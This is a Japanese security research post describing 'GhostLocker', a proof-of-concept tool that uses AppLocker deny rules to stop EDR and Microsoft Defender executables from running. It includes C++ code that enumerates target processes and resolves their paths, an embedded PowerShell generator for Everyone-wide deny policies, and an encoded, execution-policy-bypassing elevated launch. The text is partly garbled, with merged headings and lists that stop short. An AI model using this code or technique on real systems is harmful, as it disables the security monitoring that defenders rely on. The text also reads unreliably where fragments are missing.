
AppLockerベースのEDR無効化
Fairy-Law に関する私の記事で、カーネル緩和策を利用して EDR(Endpoint Detection & Response)ソリューションを無効化した方法について説明しましたが、diversenok 氏から、IFEO 除外設定(Image File Execution Options)はサードパーティ製アプリケーションに対して過剰に侵入的であるとの指摘を受けました。これにより、管理者がAppLockerを通じて本来持っている力を活用する、より優れたアプローチが生まれました。
このコンセプトは、diversenok 氏からの着想を得たものです。同氏は、管理者はシステム上のあらゆるソフトウェアを正当に制御できることを強調しました。この洞察から、AppLocker をネイティブの Windows 制御メカニズムとして利用する手法を開発しました。この研究では、EDR 制御のための AppLocker の技術的実装を探り、WDAC と比較し、実用的な概念実証ツールを提示します。
AppLocker は Windows 7 で導入され、Windows 8.1、10(Enterprise)、Windows Server 2012/R2/2016+ で拡張されました。これはアプリケーションのホワイトリスト登録フレームワークであり、管理者が特定のユーザーまたはグループに対して、どの実行可能ファイル、スクリプト、インストーラの実行を許可するかを正確に定義できます。
AppIDSvc(アプリケーション ID サービス)
LocalService アカウントで実行AppID.sys(カーネルドライバ)
SeSrpAccessCheck を使用してルール評価を実行補足説明:
AppID.sysはカーネルモードでルール評価を実行しますが、DLL の強制は自律的に行われません。
カーネルドライバはそれ自体で DLL ロードを積極的に監視するわけではありません。代わりに、ユーザーモードコンポーネントが IOCTL を介してドライバに明示的に問い合わせることで、DLL ロードが許可されているかどうかを判断する必要があります。
その結果、AppLocker の DLL ルールは事実上、クライアント側の保護メカニズムとして機能します。
AppLocker は 2 つの主要なルールカテゴリをサポートしています。
許可ルール: 定義されたアプリケーションの実行を明示的に許可
拒否ルール: 定義されたアプリケーションの実行を明示的にブロック
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (XML ポリシーストレージ、永続的)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (SDDL バイナリ形式、アクティブな強制)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (証明書キャッシュ)
デフォルトでは、AppLocker はサービスや SYSTEM プロセスに対してルールを強制しません。
この動作を有効にするための GUI オプションはありません。
サービスに対する強制は、RuleCollectionExtensions を使用した XML ポリシーによってのみ有効にできます。
サービスに AppLocker ルールを強制するには、以下のポリシーセクションが必要です。
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
拡張機能の名前が示すように、これらのオプションは Windows 10+ でのみサポートされており、それ以前のバージョンでは使用できません。 参照: Microsoft - AppLocker rule collection extensions
AppID.sys がアプリケーション属性を評価STATUS_ACCESS_DISABLED_BY_POLICY_OTHER で中断される⚠️ AppLocker は実行中のプロセスを終了しません。
AppLocker の強制は新しいプロセス作成イベントにのみ適用されます。既に実行中の EDR プロセスは、システムの再起動まで実行を続けます。これは根本的なアーキテクチャ上の制約です。
カーネルドライバテレメトリに関する注意事項:
EDR のユーザーランド実行可能ファイルをブロックした後でも、カーネルドライバ(*.sys)はアクティブで動作し続けます。これらのドライバは引き続き:
しかし、広範なテストにより、このテレメトリは機能的に無効になることが明らかになっています。ユーザーランドの分析エンジン、相関システム、レポートメカニズムがなければ、生のテレメトリデータは実用的な検出に処理できません。EDR ソリューションは、以下にユーザーランドコンポーネントに大きく依存しています:
GhostLocker は、EDR 実行可能ファイルをブロックするための AppLocker ポリシー展開を自動化する C++ 実装です。
GhostLocker は 2 つの実装バリアントを提供します。
main.cpp – 動的列挙バージョンこのバージョンは、実行中のプロセスを列挙し、ネイティブ API(NtQuerySystemInformation)を使用して完全なイメージパスを解決します。
解決された絶対パスは、正確な AppLocker 拒否ルールを生成するために使用されます。
このツールは、CreateToolhelp32Snapshot と TH32CS_SNAPPROCESS を使用してすべての実行中プロセスを列挙します。プロセス名を、大文字小文字を区別しない比較(_wcsicmp)を使用して定義済みのターゲットリストと照合します。
なぜこのアプローチか?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
技術的詳細:
SystemProcessIdInformation(0x58)情報クラスを使用\Device\HarddiskVolume3\Windows\System32\...パス変換ロジック:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
制限: HarddiskVolume3 のハードコードされた仮定。ボリューム番号を動的に解決するように改善すべき。
このツールは、以下の完全な PowerShell スクリプトを埋め込みます:
a) ターゲットパスの検証
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) 動的拒否ルールの生成
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
主要なポリシー要素:
UserOrGroupSid="S-1-1-0": Everyone(すべてのユーザー)に適用Action="Deny": 明示的なブロックルールEnforcementMode="Enabled": EXE ルールのアクティブな強制c) ポリシーの適用
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
技術的根拠:
-EncodedCommand は UTF-16LE を期待-ExecutionPolicy Bypass: スクリプト実行ポリシーを無視runas 動詞: UAC 昇格をトリガーして管理者権限を取得main_improved.cpp – 静的ワイルドカードベースバージョンdiversenok 氏からの説明を受けて、AppLocker のパスルールはワイルドカードマッチングをサポートしており、実行可能ファイルの完全なパスは必要ないことが明らかになりました。
この改良版では、すべてのプロセス列挙とネイティブパス解決ロジックを削除し、代わりに *\MsMpEng.exe のような静的なワイルドカードルールに依存しています。
⚠️ 正常に展開するための前提条件:
sc start AppIDSvc複数の商用 EDR ソリューションに対して、有効性を評価するための広範な制御されたテストを実施しました。
テスト環境:
振る舞い分析の失敗:
管理コンソールの視点:
カーネルドライバは引き続き実行されテレメトリデータストリームを収集しているにもかかわらず、ユーザーランド処理コンポーネントがないため、収集されたデータは無効になりました。